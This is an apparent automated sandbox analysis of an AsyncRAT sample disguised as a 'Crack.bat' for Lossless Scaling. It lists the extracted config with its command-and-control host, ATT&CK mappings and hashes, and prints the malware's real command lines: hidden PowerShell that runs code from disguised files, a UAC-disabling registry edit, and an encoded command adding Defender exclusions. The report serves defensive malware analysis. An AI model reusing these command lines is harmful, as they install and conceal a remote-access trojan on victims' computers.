asyncrat | 13a4ee1ad422e22d1b428cb6f9a449bd311ec7f3c8d0d1341a6f7dfaa5d015ea

Analysis

max time kernel
489s
max time network
595s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250113-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250113-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
25-01-2025 10:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

lossless scaling/Crack.bat
Size

16KB
MD5

1f5ea98d27f9d4dfe7da57a12ab5cfb7
SHA1

2565fb81fe31c17562106ab046f9d8a8f1d0b3c5
SHA256

9dba4747cdba2b31fbbcd2c30ef3c71d2e63ae01a8cd1765d385d065bafa21e5
SHA512

3e35d5d4d2212376eeed7be09aaeb6ed200d644ef50122f586a51f130d027f3e54f7af9bd14ba184a0ffe4a13f4cb4dff9e5da776df24f7b710f665aece3dfe4
SSDEEP

192:wA7T3nY6jgx4v7UHKtg+NS+7iASgon5ydpakLNfW9FATzSdcO7lgtVhwqgc8Z+Co:nya1TwSaerstRGj

Score

10^/10

asyncrat default defense_evasion discovery execution rat trojan

Malware Config

Extracted

Family

asyncrat

Version

A 14

Botnet

Default

3x3.casacam.net:303

Mutex

MaterxMutex_Egypt2

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1244	powershell.exe
1804	powershell.exe
2868	powershell.exe
3088	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2503671516-4119152987-701077851-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2503671516-4119152987-701077851-1000\Control Panel\International\Geo\Nation	Font.exe

Executes dropped EXE 6 IoCs

pid	Process
3272	RAR.exe
1900	Font.exe
1700	esentutl.exe
2944	ahnjcb.exe
2612	Certificate.exe
1292	Certificate.exe

Uses the VBS compiler for execution 1 TTPs

Command and Scripting Interpreter
T1059

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3088 set thread context of 5072	3088	powershell.exe	107
PID 2612 set thread context of 2308	2612	Certificate.exe	120

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Font.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2503671516-4119152987-701077851-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5072	aspnet_compiler.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
1244	powershell.exe
1244	powershell.exe
1244	powershell.exe
3088	powershell.exe
3088	powershell.exe
1700	esentutl.exe
1700	esentutl.exe
5072	aspnet_compiler.exe
5072	aspnet_compiler.exe
5072	aspnet_compiler.exe
5072	aspnet_compiler.exe
5072	aspnet_compiler.exe
5072	aspnet_compiler.exe
5072	aspnet_compiler.exe
5072	aspnet_compiler.exe
5072	aspnet_compiler.exe
5072	aspnet_compiler.exe
5072	aspnet_compiler.exe
2868	powershell.exe
2868	powershell.exe
5072	aspnet_compiler.exe
1804	powershell.exe
1804	powershell.exe
2612	Certificate.exe
2612	Certificate.exe
2308	aspnet_compiler.exe
2308	aspnet_compiler.exe
2308	aspnet_compiler.exe
2308	aspnet_compiler.exe
2308	aspnet_compiler.exe
2308	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1244	powershell.exe
Token: SeIncreaseQuotaPrivilege	1244	powershell.exe
Token: SeSecurityPrivilege	1244	powershell.exe
Token: SeTakeOwnershipPrivilege	1244	powershell.exe
Token: SeLoadDriverPrivilege	1244	powershell.exe
Token: SeSystemProfilePrivilege	1244	powershell.exe
Token: SeSystemtimePrivilege	1244	powershell.exe
Token: SeProfSingleProcessPrivilege	1244	powershell.exe
Token: SeIncBasePriorityPrivilege	1244	powershell.exe
Token: SeCreatePagefilePrivilege	1244	powershell.exe
Token: SeBackupPrivilege	1244	powershell.exe
Token: SeRestorePrivilege	1244	powershell.exe
Token: SeShutdownPrivilege	1244	powershell.exe
Token: SeDebugPrivilege	1244	powershell.exe
Token: SeSystemEnvironmentPrivilege	1244	powershell.exe
Token: SeRemoteShutdownPrivilege	1244	powershell.exe
Token: SeUndockPrivilege	1244	powershell.exe
Token: SeManageVolumePrivilege	1244	powershell.exe
Token: 33	1244	powershell.exe
Token: 34	1244	powershell.exe
Token: 35	1244	powershell.exe
Token: 36	1244	powershell.exe
Token: SeIncreaseQuotaPrivilege	1244	powershell.exe
Token: SeSecurityPrivilege	1244	powershell.exe
Token: SeTakeOwnershipPrivilege	1244	powershell.exe
Token: SeLoadDriverPrivilege	1244	powershell.exe
Token: SeSystemProfilePrivilege	1244	powershell.exe
Token: SeSystemtimePrivilege	1244	powershell.exe
Token: SeProfSingleProcessPrivilege	1244	powershell.exe
Token: SeIncBasePriorityPrivilege	1244	powershell.exe
Token: SeCreatePagefilePrivilege	1244	powershell.exe
Token: SeBackupPrivilege	1244	powershell.exe
Token: SeRestorePrivilege	1244	powershell.exe
Token: SeShutdownPrivilege	1244	powershell.exe
Token: SeDebugPrivilege	1244	powershell.exe
Token: SeSystemEnvironmentPrivilege	1244	powershell.exe
Token: SeRemoteShutdownPrivilege	1244	powershell.exe
Token: SeUndockPrivilege	1244	powershell.exe
Token: SeManageVolumePrivilege	1244	powershell.exe
Token: 33	1244	powershell.exe
Token: 34	1244	powershell.exe
Token: 35	1244	powershell.exe
Token: 36	1244	powershell.exe
Token: SeIncreaseQuotaPrivilege	1244	powershell.exe
Token: SeSecurityPrivilege	1244	powershell.exe
Token: SeTakeOwnershipPrivilege	1244	powershell.exe
Token: SeLoadDriverPrivilege	1244	powershell.exe
Token: SeSystemProfilePrivilege	1244	powershell.exe
Token: SeSystemtimePrivilege	1244	powershell.exe
Token: SeProfSingleProcessPrivilege	1244	powershell.exe
Token: SeIncBasePriorityPrivilege	1244	powershell.exe
Token: SeCreatePagefilePrivilege	1244	powershell.exe
Token: SeBackupPrivilege	1244	powershell.exe
Token: SeRestorePrivilege	1244	powershell.exe
Token: SeShutdownPrivilege	1244	powershell.exe
Token: SeDebugPrivilege	1244	powershell.exe
Token: SeSystemEnvironmentPrivilege	1244	powershell.exe
Token: SeRemoteShutdownPrivilege	1244	powershell.exe
Token: SeUndockPrivilege	1244	powershell.exe
Token: SeManageVolumePrivilege	1244	powershell.exe
Token: 33	1244	powershell.exe
Token: 34	1244	powershell.exe
Token: 35	1244	powershell.exe
Token: 36	1244	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5072	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1960 wrote to memory of 4476	1960	cmd.exe	84
PID 1960 wrote to memory of 4476	1960	cmd.exe	84
PID 4476 wrote to memory of 4376	4476	net.exe	85
PID 4476 wrote to memory of 4376	4476	net.exe	85
PID 1960 wrote to memory of 4612	1960	cmd.exe	86
PID 1960 wrote to memory of 4612	1960	cmd.exe	86
PID 1960 wrote to memory of 1244	1960	cmd.exe	87
PID 1960 wrote to memory of 1244	1960	cmd.exe	87
PID 1244 wrote to memory of 3624	1244	powershell.exe	96
PID 1244 wrote to memory of 3624	1244	powershell.exe	96
PID 1244 wrote to memory of 3272	1244	powershell.exe	98
PID 1244 wrote to memory of 3272	1244	powershell.exe	98
PID 1244 wrote to memory of 1900	1244	powershell.exe	100
PID 1244 wrote to memory of 1900	1244	powershell.exe	100
PID 1244 wrote to memory of 1900	1244	powershell.exe	100
PID 1244 wrote to memory of 2432	1244	powershell.exe	101
PID 1244 wrote to memory of 2432	1244	powershell.exe	101
PID 1244 wrote to memory of 3248	1244	powershell.exe	102
PID 1244 wrote to memory of 3248	1244	powershell.exe	102
PID 2432 wrote to memory of 3088	2432	WScript.exe	103
PID 2432 wrote to memory of 3088	2432	WScript.exe	103
PID 1960 wrote to memory of 4512	1960	cmd.exe	105
PID 1960 wrote to memory of 4512	1960	cmd.exe	105
PID 1900 wrote to memory of 1700	1900	Font.exe	106
PID 1900 wrote to memory of 1700	1900	Font.exe	106
PID 3088 wrote to memory of 5072	3088	powershell.exe	107
PID 3088 wrote to memory of 5072	3088	powershell.exe	107
PID 3088 wrote to memory of 5072	3088	powershell.exe	107
PID 3088 wrote to memory of 5072	3088	powershell.exe	107
PID 3088 wrote to memory of 5072	3088	powershell.exe	107
PID 3088 wrote to memory of 5072	3088	powershell.exe	107
PID 3088 wrote to memory of 5072	3088	powershell.exe	107
PID 3088 wrote to memory of 5072	3088	powershell.exe	107
PID 5072 wrote to memory of 1396	5072	aspnet_compiler.exe	108
PID 5072 wrote to memory of 1396	5072	aspnet_compiler.exe	108
PID 5072 wrote to memory of 1396	5072	aspnet_compiler.exe	108
PID 5072 wrote to memory of 1396	5072	aspnet_compiler.exe	108
PID 5072 wrote to memory of 4816	5072	aspnet_compiler.exe	109
PID 5072 wrote to memory of 4816	5072	aspnet_compiler.exe	109
PID 5072 wrote to memory of 4816	5072	aspnet_compiler.exe	109
PID 5072 wrote to memory of 4816	5072	aspnet_compiler.exe	109
PID 5072 wrote to memory of 5044	5072	aspnet_compiler.exe	110
PID 5072 wrote to memory of 5044	5072	aspnet_compiler.exe	110
PID 5072 wrote to memory of 5044	5072	aspnet_compiler.exe	110
PID 5072 wrote to memory of 5044	5072	aspnet_compiler.exe	110
PID 5072 wrote to memory of 3780	5072	aspnet_compiler.exe	111
PID 5072 wrote to memory of 3780	5072	aspnet_compiler.exe	111
PID 5072 wrote to memory of 3780	5072	aspnet_compiler.exe	111
PID 5072 wrote to memory of 3780	5072	aspnet_compiler.exe	111
PID 5072 wrote to memory of 2200	5072	aspnet_compiler.exe	112
PID 5072 wrote to memory of 2200	5072	aspnet_compiler.exe	112
PID 5072 wrote to memory of 2200	5072	aspnet_compiler.exe	112
PID 5072 wrote to memory of 2200	5072	aspnet_compiler.exe	112
PID 5072 wrote to memory of 324	5072	aspnet_compiler.exe	113
PID 5072 wrote to memory of 324	5072	aspnet_compiler.exe	113
PID 5072 wrote to memory of 324	5072	aspnet_compiler.exe	113
PID 324 wrote to memory of 2868	324	cmd.exe	115
PID 324 wrote to memory of 2868	324	cmd.exe	115
PID 324 wrote to memory of 2868	324	cmd.exe	115
PID 2868 wrote to memory of 2944	2868	powershell.exe	116
PID 2868 wrote to memory of 2944	2868	powershell.exe	116
PID 2612 wrote to memory of 2308	2612	Certificate.exe	120
PID 2612 wrote to memory of 2308	2612	Certificate.exe	120
PID 2612 wrote to memory of 2308	2612	Certificate.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\lossless scaling\Crack.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1960
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4476
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4376
- C:\Windows\system32\xcopy.exe
  xcopy "C:\Users\Admin\AppData\Local\Temp\lossless scaling\\language\en-US" "C:\Users\Public\IObitUnlocker" /E /H /C /I
  2⤵
  PID:4612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "& {Get-Content 'C:\Users\Public\IObitUnlocker\UK.dll' | Out-String | Invoke-Expression}"
  2⤵
  - UAC bypass
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1244
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /query /tn administrator
    3⤵
    PID:3624
- - C:\Users\Public\IObitUnlocker\RAR.exe
    "C:\Users\Public\IObitUnlocker\RAR.exe" x -pahmad..123 -o+ C:\Users\Public\IObitUnlocker\EN.dll C:\Users\Public\IObitUnlocker\
    3⤵
    - Executes dropped EXE
    PID:3272
- - C:\Users\Public\IObitUnlocker\BR\Font.exe
    "C:\Users\Public\IObitUnlocker\BR\Font.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1900
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\esentutl.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Windows\esentutl.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1700
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Public\IObitUnlocker\Loader.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass iex([IO.File]::ReadAllText('C:\Users\Public\IObitUnlocker\Report.ps1'))
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3088
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:5072
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        
        PID:1396
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        
        PID:4816
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        
        PID:5044
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        
        PID:3780
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        
        PID:2200
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\ahnjcb.exe"' & exit
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:324
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\ahnjcb.exe"'
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2868
        
        C:\Users\Admin\AppData\Local\Temp\ahnjcb.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ahnjcb.exe"
        8⤵
        Executes dropped EXE
        
        PID:2944
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /query /tn administrator
    3⤵
    PID:3248
- C:\Windows\system32\mode.com
  mode con: cols=80 lines=10
  2⤵
  PID:4512

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASABlAGwAcABMAGkAbgBrAFwAQwBlAHIAdABpAGYAaQBjAGEAdABlAC4AZQB4AGUALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASABlAGwAcABMAGkAbgBrAFwAQwBlAHIAdABpAGYAaQBjAGEAdABlAC4AZQB4AGUA
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1804

C:\Users\Admin\AppData\Roaming\HelpLink\Certificate.exe
"C:\Users\Admin\AppData\Roaming\HelpLink\Certificate.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2612
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2308

C:\Users\Admin\AppData\Roaming\HelpLink\Certificate.exe
"C:\Users\Admin\AppData\Roaming\HelpLink\Certificate.exe"
1⤵
- Executes dropped EXE
PID:1292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Certificate.exe.log

Filesize
838B

MD5
bd7f5a09bbf2b215004beab8ae6a2ae3

SHA1
f28df4d4cb35872a6fe37da8863a63d18d890684

SHA256
008f6f602020982d596e063921a36bf3cf1bef391d3548fa6a30a894706ecdad

SHA512
d3ce98cb87b0edd2d58f0ecce574da70c02140bb194644825fc77c79d48b82bfc93529381ad41a29331780cf472883e5a711ae9c73027bd7f7f6f3d434ce0f2f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
013539b02858ffd9199c1d5470ec6271

SHA1
1fff5f4dfa46065464a365ca20b38ed184172da1

SHA256
25b47917117af57fdddc37ddc931f3ae0b79c0f80a077f82cc8dec18eb782106

SHA512
5ff123c5ec95cb26f89ba1024a11d6756e36fa0a7c42f106b742e0c6b1eb197cce8adb23fe24b0af95509222eb8ab966c90462e6d468af23857ea057182a7e2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
d3e2fae9570ca0c00825e59823367492

SHA1
417ebf775741ca1e7235213fd376ef5de8bcdad9

SHA256
0d867850ca1a74b59eca1048f1f0eafb2db45050d315b24df5c1848704d7b66a

SHA512
bc8120f0bf45437f206c5474b83062b039f7e39ac8b46b4343ad5f5e2563f30b82a718e70c75766c8cd5f49580195686acc9c7961ca84ae7138f89aae917f02c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
82e59d8ff335dde2e7a21833b4c07add

SHA1
606e9754d75927bbfdf301d05c272024c56289cd

SHA256
1fb73730cb85dc5839939994b282c035145bd5af6d6e3d5ef2a8a149d915ab36

SHA512
6c9e9fa9accc4a8d950f46a466160f90c00fe525af6df5c379a7ddb9a8c1badaa7e319721a7220344b5f3a564b38f320bd1e4199a8b49aa49674dfb142a21706

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
869dac58c3e5afb58c52eea96cbb4a9a

SHA1
faf44a82c59a0aa0557b2ee97c1206246670d1b8

SHA256
c8e4325dc3f4ca046350f6d78bdd03de023b116a10cffa78df40bde2f18b13c8

SHA512
b1c4a0ca288d784108e593dc4bc620ddff447d015c978bf2ed8f36841cf44a8957455879dd1919c311e050a7fe1edf3d396c90d90cfb19ce7f1f3f846a9843e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\esentutl.exe

Filesize
156KB

MD5
6981d94fbcc31ca50551300f5b4a96a3

SHA1
e38b3a74f2951f5480fb67acc75d41f3e2b4f70e

SHA256
8c19a90379611efc39c3e96529de2e82a99e3e049d36ef6563ec975836e47811

SHA512
b94e87c641009ab8206c91ede3e35ab3b65a94fa3be5f4ce7c8a2b17af018f03801086c850427f4d51f4867a3d0a85aaf58ece9fd7f6a36f68df29da430c8d5d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_atb4pdyd.3ca.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ahnjcb.exe

Filesize
628KB

MD5
1d53f5a867dd69486834f81a7a490a2d

SHA1
4154fe5c8e4b1a6141c8ea21b9f1a13ed7a4d91c

SHA256
f804e0bf63f75b3a11c182054a8f02d4f9d2fb182c3a49b105dece388d8d06a1

SHA512
769c1e9d9ab34bbd6ff3a0ee06d8e21a64e47861712bf92644a7f9f8d1b035dcf148a6d5d92da16ed82c720b0366e26fb93a0fef91e12a70c1790514bf2fe5c1

Download Submit
C:\Users\Public\IObitUnlocker\BR\Font.exe

Filesize
434KB

MD5
68c9ee084cc409309b116ec6aea890a8

SHA1
efd6aab18a08a63b146ad587d1fa08e0bb19bebc

SHA256
ef2cbfdfdd874c6c3ea11223b369fbd5f155d20c680ae1e59ac74e6f1bb74a9d

SHA512
9809477d42df7bbbaea04da5eda4a4f2ae3114b33541a4efd7003bab339d1c6ddf2f9a61b2ba781c0f5de82b030859c8ac76cbe697b296046227c1dc6b547a25

Download Submit
C:\Users\Public\IObitUnlocker\Loader.vbs

Filesize
308B

MD5
2993b76e0b0ba015caf654881638a0c0

SHA1
7fbd5f28fb2f6f948cbeb3c4dd5b0672bdfe4bcd

SHA256
0e131f595ef67c160de9727d9a92a84b50393e66dd242f330736b916e1bf20a3

SHA512
a61e0e7f92f0d78c27939ba21bdda6ff97503adc44e42a4b7eab3c4c1bea8acad4517b90db3430cabc237c2db01e60ab3a2a78e237ae01a896bd09aabba067cb

Download Submit
C:\Users\Public\IObitUnlocker\RAR.exe

Filesize
629KB

MD5
d3e9f98155c0faab869ccc74fb5e8a1e

SHA1
8e4feaad1d43306fdd8aa66efa443bca7afde710

SHA256
3e0fdb5c40336482dacef3496116053d7772a51720900141b3c6f35c6e9b351b

SHA512
2760c139ef276f406770675d89fb667f3369a9e1943a6eff2c18f391114018ad6fdce9daf0b499b18081ef22243ef04d74ff21cbd346eb31a1ddbcb79756697d

Download Submit
C:\Users\Public\IObitUnlocker\Report.ps1

Filesize
457KB

MD5
dd3f962ccc2f5b5f34700307e35138f8

SHA1
90d80df0ef716260a7d4ed466cf40caf966f0969

SHA256
e273b5a8cf3d3d37ff676251aa4f41e3726b45b3280f8bf84bf618ca05cca9bb

SHA512
619fba6cd9b8aae26db23f9cbd6db4870f969abd198d3fe8551703a1e2c46a9d1fd861f7b9462d82581b322209795c1e00762ebe31e0a1383c8a10df8e4a9eae

Download Submit
memory/1244-13-0x00007FFDAC1D0000-0x00007FFDACC92000-memory.dmp

Filesize
10.8MB

Download
memory/1244-0-0x00007FFDAC1D3000-0x00007FFDAC1D5000-memory.dmp

Filesize
8KB

Download
memory/1244-17-0x00007FFDAC1D0000-0x00007FFDACC92000-memory.dmp

Filesize
10.8MB

Download
memory/1244-32-0x00007FFDAC1D0000-0x00007FFDACC92000-memory.dmp

Filesize
10.8MB

Download
memory/1244-16-0x00007FFDAC1D0000-0x00007FFDACC92000-memory.dmp

Filesize
10.8MB

Download
memory/1244-15-0x00007FFDAC1D0000-0x00007FFDACC92000-memory.dmp

Filesize
10.8MB

Download
memory/1244-14-0x00007FFDAC1D3000-0x00007FFDAC1D5000-memory.dmp

Filesize
8KB

Download
memory/1244-12-0x00007FFDAC1D0000-0x00007FFDACC92000-memory.dmp

Filesize
10.8MB

Download
memory/1244-11-0x00007FFDAC1D0000-0x00007FFDACC92000-memory.dmp

Filesize
10.8MB

Download
memory/1244-10-0x000001B8772F0000-0x000001B877312000-memory.dmp

Filesize
136KB

Download
memory/1700-64-0x000000001C1C0000-0x000000001C266000-memory.dmp

Filesize
664KB

Download
memory/1700-65-0x000000001C7A0000-0x000000001CC6E000-memory.dmp

Filesize
4.8MB

Download
memory/1700-66-0x000000001CD20000-0x000000001CDBC000-memory.dmp

Filesize
624KB

Download
memory/1700-67-0x00000000011E0000-0x00000000011E8000-memory.dmp

Filesize
32KB

Download
memory/1700-68-0x000000001CE80000-0x000000001CECC000-memory.dmp

Filesize
304KB

Download
memory/1700-69-0x0000000001230000-0x0000000001236000-memory.dmp

Filesize
24KB

Download
memory/1900-48-0x0000000005290000-0x00000000052E6000-memory.dmp

Filesize
344KB

Download
memory/1900-47-0x0000000005140000-0x000000000514A000-memory.dmp

Filesize
40KB

Download
memory/1900-34-0x0000000005190000-0x0000000005222000-memory.dmp

Filesize
584KB

Download
memory/1900-33-0x0000000005740000-0x0000000005CE6000-memory.dmp

Filesize
5.6MB

Download
memory/1900-31-0x0000000005040000-0x00000000050DC000-memory.dmp

Filesize
624KB

Download
memory/1900-30-0x0000000000640000-0x00000000006B2000-memory.dmp

Filesize
456KB

Download
memory/2868-98-0x0000000005CC0000-0x0000000005D0C000-memory.dmp

Filesize
304KB

Download
memory/2868-99-0x0000000006DE0000-0x0000000006E76000-memory.dmp

Filesize
600KB

Download
memory/2868-101-0x00000000061C0000-0x00000000061E2000-memory.dmp

Filesize
136KB

Download
memory/2868-82-0x0000000002250000-0x0000000002286000-memory.dmp

Filesize
216KB

Download
memory/2868-83-0x0000000004FE0000-0x00000000056AA000-memory.dmp

Filesize
6.8MB

Download
memory/2868-86-0x0000000004DE0000-0x0000000004E02000-memory.dmp

Filesize
136KB

Download
memory/2868-90-0x0000000004EA0000-0x0000000004F06000-memory.dmp

Filesize
408KB

Download
memory/2868-95-0x00000000057B0000-0x0000000005B07000-memory.dmp

Filesize
3.3MB

Download
memory/2868-100-0x0000000006170000-0x000000000618A000-memory.dmp

Filesize
104KB

Download
memory/2868-97-0x0000000005C10000-0x0000000005C2E000-memory.dmp

Filesize
120KB

Download
memory/2944-149-0x0000016D98960000-0x0000016D98A54000-memory.dmp

Filesize
976KB

Download
memory/2944-141-0x0000016D98960000-0x0000016D98A54000-memory.dmp

Filesize
976KB

Download
